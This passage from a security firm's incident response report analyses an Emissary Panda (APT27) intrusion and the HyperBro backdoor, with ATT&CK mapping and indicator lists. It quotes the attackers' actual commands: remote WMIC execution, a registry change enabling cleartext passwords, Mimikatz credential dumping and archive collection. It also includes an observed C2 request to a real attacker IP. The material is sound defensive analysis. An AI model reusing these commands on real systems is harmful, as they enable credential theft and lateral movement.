used by the attackers were manipulated and therefore disarmed. Of course, this was not a permanent solution, but it bought responders and the management more time to prepare the Internet cut-off. As soon as the attackers realized that the process was stopped and they couldnt launch it again, they moved to the next compromised system and started the collection process from there. Shortly after the last observed activity the attack was stopped by cutting off internet access. This was maintained for two weeks until all remediation measures were implemented. HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 14 of 38 6 Description of Observed TTPs The following figure maps the observed Techniques, Tactics, and Procedures (TTPs), observed during the Emissary Panda attack to the TTPs listed by MITRE ATTCK21: Figure 6: Observed TTPs for Emissary Panda mapped to MITRE ATTCK The following subsections explain the observations for each technique and helps to understand the attack in detail. 21 https://attack.mitre.org/ T1587: Dev elop Capabilities T1587.001: Malware Resource Dev elopment T1190: Exploit Public-Facing Application T1078: Valid Accounts T1078.002: Domain Accounts T1078.003: Local Accounts Initial Access T1047: Windows Management Instrumentation Execution T1543: Create or Modif y Sy stem Process T1574: Hijack Execution Flow T1078: Valid Accounts T1543.003: Windows Serv ice T1574.001: DLL Search Order Hijacking T1574.002: DLL Side-Loading T1078.002: Domain Accounts T1078.003: Local Accounts Persistence T1543: Create or Modif y Sy stem Process T1574: Hijack Execution Flow T1055: Process Injection T1078: Valid Accounts T1543.003: Windows Serv ice T1574.001: DLL Search Order Hijacking T1574.002: DLL Side-Loading T1055.012: Process Hollowing T1078.002: Domain Accounts T1078.003: Local Accounts Privilege Escalation T1574: Hijack Execution Flow T1036: Masquerading T1112: Modify Registry T1055: Process Injection T1078: Valid Accounts T1574.001: DLL Search Order Hijacking T1574.002: DLL Side-Loading T1036.004: Masquerade Task or Serv ice T1036.005: Match Legitimate Name or Location T1055.012: Process Hollowing T1078.002: Domain Accounts T1078.003: Local Accounts Defense Evasion T1003: OS Credential Dumping Credential Access T1087: Account Discovery T1069: Permission Groups Discovery T1057: Process Discovery T1082: System Information Discovery Discovery T1021: Remote Services T1021.002: SMB/Windows Admin Shares Lateral Movement T1560: Archive Collected Data T1119: Automated Collection T1074: Data Staged T1560.001: Archiv e v ia Utility Collection T1071: Application Layer Protocol T1071.001: Web Protocols Command and Control https://attack.mitre.org/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 15 of 38 6.1 Resource Development 6.1.1 Develop Capabilities: Malware (T1587.001) The attack heavily relied on the use of the HyperBro Remote Access Tool (RAT). According to our knowledge as well as several sources on the Internet22 23, this malware is only used by Emissary Panda. Hence, HyperBro is most likely developed by the threat actor itself. The backdoor relies on DLL Search Order Hijacking and DLL Side-loading, as described in Section 6.4. Furthermore, commands sent by the attacker are executed in-memory and do not create secondary artifacts, which complicates the forensic analysis. A detailed analysis of the malware is performed in Section Malware Analysis of HyperBro. 6.2 Initial Access 6.2.1 Exploit Public-Facing Application (T1190) The initial access to the victims infrastructure was performed by exploiting the ProxyLogon vulnerability. The vulnerability became apparent to the public when Microsoft published a blog post on 02.03.2021 stating that a new critical Exchange vulnerability was being actively exploited by attackers24. The first communication of the victims Exchange servers with the C2 IP addresses occurred on 04.03.2021. Furthermore, the Exchange servers were the first systems to communicate with the malicious IP addresses. Although, the initial system could not be forensically analyzed, the Firewall logs, the timing of Microsofts publication, and the first communication are sufficient to assume, that the initial access vector was in fact ProxyLogon. This leads to the conclusion that Emissary Panda used the exploitation of the public-facing Exchange server for their initial access. 6.3 Execution 6.3.1 Windows Management Instrumentation (T1047) Emissary Panda was observed to utilize the Windows Management Instrumentation (WMI) to execute malware, scripts, commands, and collection tools. wmic /node:HOSTNAME process call create cmd /c c:\perflogs\vfhost.exe wmic /node:IP process call create cmd /c c:\perflogs\vfhost.exe wmic /node:IP process call create cmd /c c:\temp\vfhost.exe wmic /node:IP process call create cmd /c d:\recycle.bin\bin.bat wmic /node:IP process call create Rar.exe a d:\PATH\log E:\TARGET_DIR_1\ E:\TARGET_DIR_2\ H:\TARGET_DIR_3\.xls E:\TARGET_DIR_4\ H:\ TARGET_DIR_3\.csv E:\TARGET_DIR_5\ E:\ TARGET_DIR_6\ d:\Users\Homes\USER\ -r -y -hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5444M 22 https://attack.mitre.org/software/S0398/ 23 https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro 24 https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ https://attack.mitre.org/software/S0398/ https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 16 of 38 The first three lines show the remote execution of the HyperBro malware on different systems using different locations. In preparation to this remote execution, the corresponding malware files were dropped over an SMB connection authenticated by a legit domain admin. Following the placement of the malware, it is executed remotely with WMIC by referencing the remote system with its IP or hostname. The fourth command shows the same technique for a malicious Batch script. Last, the collection tool was executed remotely with the same technique. The specified partitions (D:\ and E:\) are located on the target system. Hence, the collection tool was also placed on the target system beforehand. A detailed description of the command can be found in Section 6.10. 6.4 Persistence 6.4.1 Create or Modify System Process: Windows Service (T1543.003) The threat actor has utilized Windows Services to achieve persistence of their HyperBro backdoor. The Windows service has the following settings: Name windefenders Display Windows Defenders ImagePath C:\Program Files (x86)\Common Files\windefenders\msmpeng.exe Type 0x0 Start Auto Start Group The path of the service points to the malware, which was dropped at this location beforehand. Furthermore, the service is set to Auto Start to ensure persistence. Prior to creating this service, the threat actor created a similar service with the name windefende-921919155 but deleted it within a few seconds. This behavior was observed multiple times with variations in numbers. Hence, the service names windefende-[0-9]9 could also serve as IOCs. 6.4.2 Boot or Logon Autostart Execution: Registry Run Keys (T1547.001) Another observed way of persistence was the utilization of a Registry run key for the current user. The key being used for persistence had the following name: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\windefenders This is a backup mechanism for the establishment of persistence, if the compromise account does not have enough privileges for the creation of a Windows Service 6.4.3 Valid Accounts: Domain Accounts (T1078.002) and Local Accounts (T1078.003) During the attack, valid accounts were used for Persistence, Lateral Movement, Defense Evasion, Execution as well as Collection. Hence, there is no optimal sub-section for the placement of this technique. The accounts included both local accounts, such as the built-in administrator, as well as domain accounts, which were mainly domain administrators. HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 17 of 38 6.5 Privilege Escalation Since the initial access with the exploitation of ProxyLogon (Section 6.2) provided the attacker already with system-level access to an Exchange server, and dumping of credentials (Section 6.7.1) provided a local administrator account and a domain admin account (Section 6.4.3), which could be used for lateral movement, there was no need for escalating privileges. 6.6 Defense Evasion 6.6.1 Hijack Execution Flow: DLL Search Order Hijacking (T1574.001) and DLL Side-Loading (T1574.002) As described in multiple reports25 26, Emissary Panda often drops a legit application, which then side-loads a malicious DLL. Since Windows first searches for the DLL in the same directory as the application is launched27, the malicious DLL is loaded even if the original DLL exists on the target system. Hence, the DLL search order is hijacked by placing the files in the same directory. The following two files are placed in the same directory to perform DLL Search Order Hijacking (T1574.001) and DLL Side-Loading: msmpeng.exe Renamed, but legit application signed by CyberArk28 vftrace.dll Malicious DLL containing backdoor After placing the files in one directory, the msmpeng.exe is executed, which then loads the vftrace.dll. Hence, the malicious code of the DLL is running in the context of a legit application. 6.6.2 Modify Registry (T1112) The configuration of the malware is stored in the Windows Registry. Therefore, the Registry key HKLM\SOFTWARE\WOW6432Node\Microsoft\config_ is used. The following values are stored under this key: .msmpeng.exe.vftrace.dll thumb.dat1C:\Program Files (x86)\Common Files\windefenders\.company_name.0101.windefenders.windefenders. Windows Defenders. Windows Defenders Service..87.98.190.184..fonts.dataanalyticsclub.com. 87.98.190.184. The configuration information includes, the filenames, the service name used for persistence, and C2 IPs as well as C2 domains. 25 https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/ 26 https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ 27 https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order 28https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/de tails https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/ https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/details https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/details HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 18 of 38 Besides storing their C2 configuration in the registry, Emissary Panda modified an existing registry key. Due to modifying the following registry key, they activated the storage of clear text passwords after logon in WDigest: Reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1 This forces logon credentials to be stored in clear text, which can then be dumped by tools like Mimikatz, as described in Section 6.7.1. 6.6.3 Process Injection: Process Hollowing (1055.012) Since most of the manually executed commands, such as reconnaissance, were executed in the context of the legit process wermgr.exe, it is concluded that Emissary Panda performed process hollowing to avoid detection by security tools. This thesis is supported by the fact, that the executable related to the process ID is the legit wermgr.exe of Windows. Furthermore, the capability for process hollowing as well as the corresponding strings within the malware were identified during our malware analysis of HyperBro, which is described in Section 8.3. The following screenshot shows an excerpt of the EDR tool, which displays the reconnaissance activity in the context of wermgr.exe: Figure 7: Process Hollowing used to execute malicious commands in the context of legit wermgr.exe 6.6.4 Masquerading: Service (T1036.004), filename, and file location (T1036.005) On several occasions, Emissary Panda tried to evade defenses by using names, which are associated with security tools. This fact was also mentioned in previous reports29. In the referenced reports, Emissary Panda used a legitimate Symantec executable. In the case of this attack, Emissary Panda used an executable, which is signed by CyberArk and named as the Microsoft Defender. Furthermore, the executable was placed in common paths for Microsoft Defender: C:\Program Files (x86)\Common Files\windefenders\msmpeng.exe C:\Program Files (x86)\Common Files\windefenders\vftrace.dll D:\recycle.bin\ As already mentioned in Section 6.4.1, the service used for persistence was also named after the Microsoft Defender. Last, the recycle bin was utilized to store the output-archives of the collection tool, as described in Section 6.10.1. 29 https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 19 of 38 6.7 Credential Access 6.7.1 OS Credential Dumping T1003 In order to gain valid credentials of accounts, Emissary Panda used techniques for credential dumping. This also explains the extensive use of valid accounts, as described in Section 6.4.3. The following command was observed during the attack: msiexec.exe privilege::debug sekurlsa::logonPasswords The command line parameters equal the parameters of the credential dumping tool Mimikatz30. Since the process is running in a valid msiexec process, the attacker performed credential dumping in combination with process hollowing, as described in Section 6.6.3. 6.8 Discovery 6.8.1 Account Discovery (T1087.001) and Permission Groups Discovery T1069 To gain more information about the Active Directory accounts and groups, Emissary Panda utilized the classic Windows net tool. net user USER /domain net1 user ADMIN /domain net group domain admins /domain net view \\IP net use \\IP\ipc PASSWORD Apparently, the operator of Emissary Panda mixed up the order of username and password in the net use command. Hence, the password could be seen in clear-text and the username was redacted by the EDR. 6.8.2 Process Discovery T1057 Emissary Panda used the Tasklist utility to remotely gather information about running processes on systems. The following command shows a remote execution of Tasklist, which stores the outputs to a file located in the Recycle Bin: wmic /node:IP process call create cmd /c tasklist d:\recycle.bin\task.dat 6.8.3 System Information Discovery (T1082) As a preparation for the data collection, Emissary Panda checked the used disk space of their target directories. The following command shows how they gained the used disk space for a home directory of a User, located on the fileserver: diruse /m / \\IP\d\Users\Homes\USER The command outputs the used disk space in Megabyte. 30 https://github.com/gentilkiwi/mimikatz https://github.com/gentilkiwi/mimikatz HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 20 of 38 6.9 Lateral Movement 6.9.1 Remote Services: SMB Shares (T1021.002) The threat actor utilized SMB shares to drop malware on remote systems. Following, the execution of the malware was performed as described in Section 6.3.1. In order to access SMB shares on remote systems, Emissary Panda used valid accounts as described in Section 6.4.3. 6.10 Collection 6.10.1 Archive via Utility (T1560.001) and Automated Collection (T1119) Based on the observed hashes and parameters, Emissary Panda was using Winrar to collect data in archives. The following commands show data collection performed on the fileserver: Rar.exe a d:\PATH\log E:\TARGET_DIR_1\ E:\TARGET_DIR_2\ H:\ TARGET_DIR_3\.xls E:\TARGET_DIR_4\ H:\TARGET_DIR_3\.csv E:\ TARGET_DIR_5\ E:\TARGET_DIR_6\ d:\Users\Homes\USER\ -r -y - hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5444M Rar.exe a \\IP_1\d\recycle.bin\bin.rar \\IP_2\E\TARGET_DIR_1\ \\IP_2\E\TARGET_DIR_2\ \\IP_2\h\TARGET_DIR_3\.xls \\IP_2\E\TARGET_DIR_4\ \\IP_2\h\TARGET_DIR_3\.csv \\IP_2\E\TARGET_DIR_5\ \\IP_2\d\Users\Homes\USER\ -r -y -inul - hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5767M The first command was launched remotely via WMIC on the fileserver. The collected files as well as the output archive is located on the fileserver. The second command writes its output not to the fileserver but to another compromised system in the recycle bin. Both commands use the same password to encrypt the archives (incl. file and directory names). Finally, both commands use different sizes for their partial archives, but the target directories are the same. 6.10.2 Data Staged (T1074) As can be seen in the commands of the Section 6.10.1, the output of the collection is staged. This means that the first command creates partial archives of 5444 MB and the second command of 5767 MB. The partial archives are exfiltrated directly after creation and deleted afterwards. HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 21 of 38 6.11 Command and Control 6.11.1 Application Layer Protocol: Web Protocols T1071.001 The C2 communication was performed over HTTPS, which could be observed in the firewall logs. Since the content was encrypted no statement regarding the content can be made. Nevertheless, the backdoor on all compromised systems was sending beacons to the C2 IP addresses in regular intervals. Via memory analysis of a compromised systems the following post request with User Agent could be extracted: POST /api/v2/ajax HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 6.3 WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 Content-Length: 87 Host: 87.98.190.184 The IP address 87.98.190.184 is one of the C2 IP addresses used by Emissary Panda. HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 22 of 38 7 OSINT analysis of C2 infrastructure Observed C2 communication as well as HyperBro artifacts were analyzed and researched for additional indicators and common attributes. In the analyzed samples, HyperBro uses a HTTPS protocol endpoint under the following path: /api/v2/ajax. This is a unique web application path, which is very well suited for detecting HyperBro traffic. No legitimate applications or web installations have been identified that access this endpoint. Furthermore, we noted that multiple Emissary Panda C2 addresses share the identical Jarm hash 3fd3fd16d3fd3fd22c3fd3fd3fd3fdf20014c17cd0943e6d9e2fb9cd59862b as well as a specific .cybo-cloud.com certificate: Subject CN.cybo-cloud.com Issuer CUS, ODigiCert Inc, OUwww.digicert.com, CNRapidSSL RSA CA 2018 Serial Decimal: 3163476740895991561136217391472201532 Hex: 0x261437201eb9a171027589b0d724f3c Validity 2018-01-22 00:00:00 to 2021-04-21 12:00:00 (1185 days, 12:00:00) Names .cybo-cloud.com cybo-cloud.com SHA-256 84e285d08381eb40ca1c218e51a3f9efe4d7ccd95c53e4a6bec9fa5e858a50d7 SHA-1 44b9d089cf734d2478165a8539b23aed51887f7d MD5 210cbb1ed295fd13497a3e45a71a5240 We were able to directly confirm seven C2 IP addresses with this specific Jarm hash and TLS certificate combination. Passive DNS data suggests that also the following IP addresses might be related to Emissary Panda as these share the Jarm hash and TLS certificate as well. However, at the time of writing, this suspicion was not confirmed. 104.168.143.39 104.168.211.246 138.124.180.56 152.228.248.233 154.38.118.188 194.156.98.129 45.76.208.198 45.77.32.139 47.75.189.54 8.210.39.213 In addition, it was observed that Emissary Panda reacted to incident response activities via resolving their C2 domain dataanalyticsclub.com to the localhost IP address 127.0.0.1. Thereby, effectively hiding their C2 traffic. Hence, active HyperBro backdoors on webservers might be identified by reviewing the local access log for requests to the following path: /api/v2/ajax. HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 23 of 38 8 Malware Analysis of HyperBro As described in other public reports31, HyperBro is a custom malware of Emissary Panda used as RAT. An analysis32 of the HyperBro version used in this attack campaign was recently published by the German domestic intelligence services (Bundesamt fr Verfassungsschutz, BfV). In addition to this publication, we provide additional technical details about the inner workings and capabilities of the malware. Furthermore, we created and published a tool, which is able to extract the configuration from the malware. This enables analysts to quickly retrieve the IOCs from HyperBro samples. Finally, this chapter also summarizes the capabilities and available C2 commands of HyperBro. 8.1 Overview The HyperBro malware consists of the following components: Component Description msmpeng.exe / vfhost.exe Legit application signed by CyberArk33, used for DLL Side-Loading vftrace.dll (Stage 1) Malicious DLL containing Stage 1 / the first loader thumb.dat (Stage 2) The file is encrypted with a weak one-byte key. After decryption, it contains a loader for the PE Executable, which is also contained as compressed buffer within the thumb.dat PE Executable (Stage 3) Contains the actual HyperBro backdoor written in C config.ini Created after the first execution and contains a randomly generated GUID To launch HyperBro, the legit CyberArk application msmpeng.exe / vfhost.exe is executed. Due to DLL Search Order Hijacking and DLL Side-Loading, as described in Section 6.6.1, this application loads the malicious vftrace.dll. We refer to vftrace.dll as Stage 1 of the malware. The malicious DLL then opens and reads thumb.dat, which we refer to as Stage 2. This file is encrypted with a weak one-byte key. It contains a loader and a compressed PE Executable. The loader decompresses the PE Executable within the thumb.dat and prepares it for execution. The decompressed PE Executable then contains the actual HyperBro backdoor, which we refer to as Stage 3. The exact process of decryption, decompression, and loading is explained in more detail in the following sections. The complete process is depicted in Figure 8. 31 https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ 32 https://www.verfassungsschutz.de/SharedDocs/kurzmeldungen/DE/2022/2022-01-26-cyberbrief.html 33https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/de tails https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ https://www.verfassungsschutz.de/SharedDocs/kurzmeldungen/DE/2022/2022-01-26-cyberbrief.html https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/details https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/details HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 24 of 38 8.2 PE Loader As displayed in Figure 8, the first stage opens and decrypts the thumb.dat file. Figure 9 shows a screenshot of the decryption routine (first red box) and the launch of the decrypted PE Loader. The decryption routine simply adds the byte 0xfc to each byte of the thumb.dat file. This is a rather simple encryption with a one-byte key, which can easily be reproduced. Figure 8: Malware Flow The decrypted thumb.dat file contains the second stage, which is referenced to as the PE Loader, as well as a compressed PE file. The used compression method for Stage 3 is LZNT134. Since the vftrace.dll simply jumps to the beginning of the PE Loader, no functions are loaded or linked. Effectively, the program is started with no linked or imported functions. Hence, the PE Loader needs to initialize itself. 34 https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/94164d22-2928-4417-876e-d193766c4db6 https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/94164d22-2928-4417-876e-d193766c4db6 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 25 of 38 Figure 9: Decryption of thumb.dat and launch of PE Loader A rather special method was chosen for this initialization. The loader contains a set of pairs of library and function names (both hashed with a custom hash function). To resolve the function, the Thread Information Block (TIB) of the current process is loaded. Afterwards the Process Environment Block (PEB) is accessed, and the loaded modules are iterated to find the searched library. Following, the export table of the library is parsed to find the function. Figure 10: Structure with function pointers after resolving procedure via hashing HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 26 of 38 As stated before, the library and function names are stored in a hashed form. The utilized hash function was only seen in one other public report from Palo Altos Unit 42 published in 2017. The result of the function resolution via the hashing algorithm is a structure containing several functions pointer, as can be seen in Figure 10. Figure 11: Parameters of decompress buffer functions of PE Loader Next, the loader invokes a function that is used for decompressing the PE file contained in the decrypted thumb.dat. The parameters of the function can be seen in Figure 11, while the function itself is display in Figure 12. Figure 12: Decompress buffer function of PE Loader After successful execution the decompress_buffer function, another function parses the decompressed buffer, which is the third stage (PE Executable), loads its sections into memory, sets up the correct permissions on its memory pages, and finally launches the third stage. An excerpt of the launch_payload function can be seen in Figure 13. HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 27 of 38 Figure 13: Stage 3 launcher Since the PE loader has effectively no import table, but only a structure of function pointers, it is less likely to be detected by Antivirus products. The products often look for suspicious library functions, which are loaded by a program, for example WinHttp. The result of the PE loader is a loaded and launched third stage. HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 28 of 38 8.3 Capabilities The actual backdoor (Stage 3) shows sophisticated capabilities regarding remote access and command and control, as well as persistence and evasion. The following classes were found during the analysis, which provide a first indication of the functionality of the malware. TCaptureData TCaptureMgr TClipboardInfo TClipboardMgr Tcommdand TConfig TDirve (not a typo) TFileData TFileDataReq TFileDown TSock TUserMgr TFileInfo TFileMgr TFileRename TFileRetime TFileUpload TKeyboardMgr TKeyboarrdInfo TLogin TLoop TPacket TTransConnect TTransData TProcessInfo TprocessMgr TRegeditKeyinfo TRegeditMgr TRegeditValueInfo TServiceInfo TServiceMgr TShellcodeData TshellCodeMgr TShellMgr Furthermore, the malware has the capability to gain persistence in multiple ways on the target system. One way is the creation of a Windows Service, as described in Section 3.4.1. Another way is the creation of a Run Key within the Windows Registry, as described in Section 6.4.2. Stage 3 is a sophisticated backdoor with various capabilities. It is controlled from a C2 server, which provides commands to the backdoor by responding to HTTPS requests originating from the backdoor. The first byte of the HTTPS response contains a byte specifying the command for the backdoor. Based on the command the backdoor executes one of eight operations. The table in this subsection describes the operations of Stage 3. HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 29 of 38 Command code Description 0x0 No operation / Wait for commands 0x10 Initial Logon to C2 server. Register new backdoor at C2 server 0x15 Delete everything Deletes the file: path\windefenders\config.ini Deletes the file: path\windefenders\log.log Deletes the file: path\windefenders\msmpeng.exe Deletes the file: path\windefenders\vftrace.dll Deletes the file: path\windefenders\thumb.dat Deletes the directory: path\windefenders Deletes the registry key: HKLM\SOFTWARE\Microsoft\config_ Note that the paths/files depend on the current configuration of the malware 0x17 Get information about the infected system: Get logged on user and check privileges of the user Send information to C2 0x18 Perform Process Hollowing: Restarts the backdoor in a hollowed process The following legit target processes are utilized: svchost.exe -k networkservice svchost.exe -k localservice Stop the current instance of the backdoor if hollowing was successful 0x1B Opens a remote shell and executes received commands: Sleep time of the while loop in the backdoor is decreased from 1000 ms to 100 ms for more responsive behavior of the remote shell Creates a new thread, which pulls commands from C2 server, which are then executed The results are sent to the C2 server 0x1D Update malware: Drops a new executable under Temp: Temp\current clock tick.exe Launches the new executable Exits the running process after launch was successful 0x1F Updates the configuration of the backdoor: Copies the new configuration from the received packet to the in-memory configuration of the backdoor (TConfig) Connects to new C2 server Closes old connection, after the new connection was established successfully Subcommand 0x10 Updates additional configuration of the running malware Subcommand 0x14 Update configuration regarding persistence Update Registry keys Update Windows Service Update File paths HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 30 of 38 8.4 HyperBro Configuration Extractor In our online research about Emissary Panda and HyperBro, we found multiple descriptions of the malware but no tool, which is able to extract the malware configuration from the encrypted thumb.dat file. In order to develop such a tool, we reverse engineered the malware and re-implemented the decryption of thumb.dat, the decompression of Stage 3, and implemented a configuration parser for Stage 3. The tool can be found in our GitHub Repository: https://github.com/hvs-consulting/HyperBroExtractor The tool runs through the steps from the thumb.dat as input to the decompressed PE file (Stage 3), as displayed in Figure 8. python3 HyperBro_extract_config.py -i thumb.dat -k fc [] The key is: 0xfc [] Decryption successful [] Decompression of PE successful [] HyperBro extracted config: Legit launcher used for DLL-Side-Loading: msmpeng.exe Stage 1: vftrace.dll Stage 2: thumb.dat Stage 3: thumb.dat Malware Directory: windefenders Domain (changed at runtime): Default Windows Service used for persistence: Windows Defenders Command and Control IP address: 104.168.236.46 User Agent: Mozilla/5.0 (Windows NT 6.3 WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 HTTPS Request Information: POSThttps://s:d/api/v2/ajax Pipe name used for IPC: \\.\pipe\testpipe At first, the thumb.dat file needs to be decrypted. Therefore, we analyzed the decryption algorithm contained in Stage 1 and extracted the corresponding key. Since the key is only one byte long, and it is simply added to each byte of the thumb.dat, the encryption is not very strong. To increase the stability of our tool, a brute-force function for the one-byte key was implemented as well as a detection for a correct decryption. After the correct key is found, the thumb.dat is decrypted. Next, the beginning of the PE file is identified in the decrypted thumb.dat. The file consists of the PE Loader (Stage 2), and a compressed PE file (Stage 3). As stage 3 is compressed with LZNT1, a LZNT1 compressed PE header is used as a signature to identify the start of Stage 3. Next, the compressed PE file can be decompressed, which results in the actual HyperBro backdoor. Last, the configuration of Stage 3 is parsed by the tool, i.e., it extracts multiple hard-coded parameters, like the IP of the initial C2 server, the user agent utilized in HTTP requests, etc. An example of the output can be seen above In this case, the key is specified as a command-line parameter. The resulting IoCs as well as their utilization for detection, are described in more detail in Section 7. https://github.com/hvs-consulting/HyperBroExtractor HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 31 of 38 9 Detection of Emissary Pandas activities 9.1 Indicators of Compromise (IOCs) The IOCs in this section were partially collected during the incident and partially gathered via OSINT research. If you plan to use these IOCs in your organization, we recommend copying them from our public GitHub Repository: https://github.com/hvs-consulting/ioc_signatures/tree/main/Emissary_Panda_APT27 The repository also contains a MISP Event35 which is structured in MISP objects and comprises additional contextual information. All the IOCs are classified as TLP White. Category Type Value Comment Artifacts dropped named pipe testpipe HyperBro RAT - named pipe Artifacts dropped windows- service- name windefenders HyperBro RAT - persistence mechanism Artifacts dropped windows- service- name windefende-921919155 Persistence mechanism of HyperBro RAT Network activity domain dataanalyticsclub.com Domain address used for C2 communication Network activity ip-dst 34.90.207.23 APT27 C2 used during Hafnium attacks reported by welivesecurity.com Network activity ip-dst 103.79.77.200 IP address used for C2 communication Network activity ip-dst 104.168.236.46 IP address used for C2 communication Network activity ip-dst 193.203.203.26 IP address used for C2 communication Network activity ip-dst 74.119.194.153 IP address used for C2 communication Network activity ip-dst 87.98.190.184 IP address used for C2 communication Network activity ip-dst 107.148.131.210 IP address used for C2 communication Network activity ip-dst 35.187.148.253 IP address used for C2 communication Network activity ip-dst 103.79.78.48 IP address used for C2 communication Network activity ip-dst 45.77.250.141 IP address used for C2 communication Network activity domain image.dataanalyticsclub.com Domain address used for C2 communication Network activity domain avatars.dataanalyticsclub.com Domain address used for C2 communication Network activity domain fonts.dataanalyticsclub.com PassiveTotal First 2021-11-10 Last 2022-01- 03 Network activity url /api/v2/ajax Malicious endpoint on C2 servers Network activity url https://107.148.131.210/api/v2/ajax URL used for C2 communication Network activity url http://35.187.148.253/api/v2/ajax URL used for C2 communication Network activity text Mozilla/5.0 (Windows NT 6.3 WOW64) AppleWebKit/53 7.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/5 37.36 HyperBro RAT - user agent Payload delivery filename PROGRAMFILES\Common Files\windefenders\vftrace. dll HyperBro RAT - Stage 1 Payload delivery filename PROGRAMFILES\Common Files\windefenders\thumb. dat HyperBro RAT - Stage 2 Payload delivery filename PROGRAMFILES\Common Files\windefenders\config.i ni File containing GUID created upon HyperBro execution Payload delivery filename PROGRAMFILES\Common Files\vfhost\VFTRACE.DLL HyperBro RAT - Stage 1 35 https://www.misp-project.org/ https://github.com/hvs-consulting/ioc_signatures/tree/main/Emissary_Panda_APT27 https://www.misp-project.org/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 32 of 38 Category Type Value Comment Payload delivery filename PROGRAMFILES\Common Files\windefenders\msmpeng.exe HyperBro RAT - legit CyberArk Software binary used for side-loading Payload delivery filename vftrace.dll HyperBro RAT - Stage 1 Payload delivery filename thumb.dat HyperBro RAT - Stage 2 Payload delivery filename config.ini File containing GUID created upon HyperBro execution Payload delivery filename msmpeng.exe HyperBro RAT - legit CyberArk Software binary used for side-loading Payload delivery filename rar.exe Rar.exe (WinRar) Payload delivery imphash 182f35372e9fd050b6e0610238bcd9fd HyperBro RAT - Stage 1 Payload delivery md5 7655ff65f74f08ee2c54f44e5ef8f098 HyperBro RAT - Stage 1 Payload delivery md5 fa0b6ff0898acaa50563c1cb89524fcf HyperBro RAT - Stage 1 Payload delivery md5 